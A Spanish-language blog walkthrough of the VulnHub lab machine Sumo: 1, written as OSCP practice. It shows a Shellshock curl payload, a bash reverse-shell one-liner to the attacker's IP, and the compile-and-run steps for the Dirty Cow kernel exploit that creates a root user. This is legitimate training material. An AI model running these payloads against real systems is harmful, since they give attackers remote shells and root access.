Saltar al contenido

VulnHub – Sumo: 1 – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Sumo: 1 de VulnHub. Es una máquina Linux, de nivel fácil para VulnHub y Proving Grounds, pero es muy fácil de resolver dado que está basada en CVEs íntegramente.

Enumeración

Comienzo averiguando la IP que ha tomado la máquina con netdiscover.

sudo netdiscover -i eth0

Ahora que ya tengo la IP en la que está alojada la máquina, escaneo los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.

nmap -p- -n --open --min-rate 5000 192.168.71.156

En la máquina hay dos puertos abiertos. Escaneo los puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p22,80 -sC -sV 192.168.71.156
Starting Nmap 7.91 ( https://nmap.org ) at 2022-05-15 19:02 CEST
Nmap scan report for 192.168.71.156
Host is up (0.00033s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 06:cb:9e:a3:af:f0:10:48:c4:17:93:4a:2c:45:d9:48 (DSA)
|   2048 b7:c5:42:7b:ba:ae:9b:9b:71:90:e7:47:b4:a4:de:5a (RSA)
|_  256 fa:81:cd:00:2d:52:66:0b:70:fc:b8:40:fa:db:18:30 (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.57 seconds

Entro en la web y solo encuentro el típico It works!, lo que me indica que la vulnerabilidad estará «por detrás» de la web.

Utilizo nikto para buscar vulnerabilidades web y enseguida me indica dos ficheros que son vulnerables a shellshock. Shellshock es una vulnerabilidad de bash registrada con el código CVE-2014-6278.

nikto -h http://192.168.71.156/

La vulnerabilidad se encuentra en los ficheros /cgi-bin/test y /cgi-bin/test.sh. Nmap posee un script para comprobar esta vulnerabilidad una vez se han encontrado los ficheros a los que atacar. Compruebo el fichero /cgi-bin/test y verifico que es vulnerable a shellshock.

nmap -p80 --script http-shellshock --script-args uri=/cgi-bin/test 192.168.71.156

Explotación

Busco un poco de información sobre como explotar esta vulnerabilidad y enseguida encuentro esta guía y esta otra que me indican como explotarla fácilmente.

En primer lugar voy a probar a inyectar el comando whoami.

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'whoami'" http://192.168.71.156/cgi-bin/test

Como puedo ejecutar comandos, el siguiente paso es obtener una shell reversa. Para ello pongo un netcat a la escucha por el puerto 1234 y ejecuto una shell en bash.

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.71.135/1234 0>&1'" http://192.168.71.156/cgi-bin/test

Escalada de privilegios

En primer lugar, para que la resolución sea válida para OSCP, es necesario conseguir una shell en tty. Para ello, como la máquina tiene python, ejecuto mi script automatizado, pero al final de la resolución indicaré como conseguirla de forma manual.

Una vez que ya tengo una shell tty, ejecuto Linux Smart Enumeration, con el nivel 1 de verbosity y me indica que la máquina es una Linux 3.2.0-23 Ubuntu 12.04 x64. Para la época de esta máquina, apareció una vulnerabilidad a nivel de kernel, registrada como CVE-2016-5195, que me permite escalar privilegios de forma sencilla.

Existen diversos exploits para esta vulnerabilidad pero yo voy a usar el conocido como Dirty Cow, en concreto la versión creada por firefart que también se encuentra en exploit-db. Esta versión modifica el usuario root y le introduce nuevas credenciales.

Subo el exploit a la máquina víctima pero, cuando intento compilarlo me aparece un error de gcc.

gcc -pthread 40839.c -o pwn -lcrypt

Este error se debe a que la PATH de la consola no es correcta, simplemente la modifico y vuelvo a compilar el exploit.

PATH=PATH$:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/gcc/x86_64-linux-gnu/4.8/;export PATH
gcc -pthread 40839.c -o pwn -lcrypt

Una vez compilado, le doy permisos de ejecución y lanzo el exploit.

chmod +x pwn
./pwn

Después de un minuto, el exploit finaliza y me indica que ha creado al usuario firefart con la contraseña evil123 (indicada por mi).

Como me indica el exploit, compruebo el fichero /etc/passwd para ver que efectivamente se ha creado y elevo la consola, comprobando que mi usuario se encuentra en el grupo root.

La flag de root la encuentro en la ruta /root/root.txt.

tty

Como ya he dicho anteriormente en otros post, para que la máquina esté resuelta de modo OSCP Friendly, es necesario conseguir una shell tty. Con los siguientes comandos consigo convertir la shell en shell tty en fácilmente.

script /dev/null -c bash
^Z

CTRL + Z

Ahora sin cambiar de consola.

stty raw -echo; fg
reset

Y con esto vuelvo a la shell reversa. Añado los siguientes comandos.

xterm
export TERM=xterm
export SHELL=bash

Y ya he conseguido una consola tty.

Para finalizar (esto es opcional) solo me faltaría adaptar las dimensiones de la shell de la consola a las de mi ventana de shell. En una shell de mi máquina atacante compruebo las dimensiones de la ventana.

stty size

Y las modifico en la shell reversa.

stty rows [X] columns [Y]
Publicado enCTFLinuxOSCPVulnHub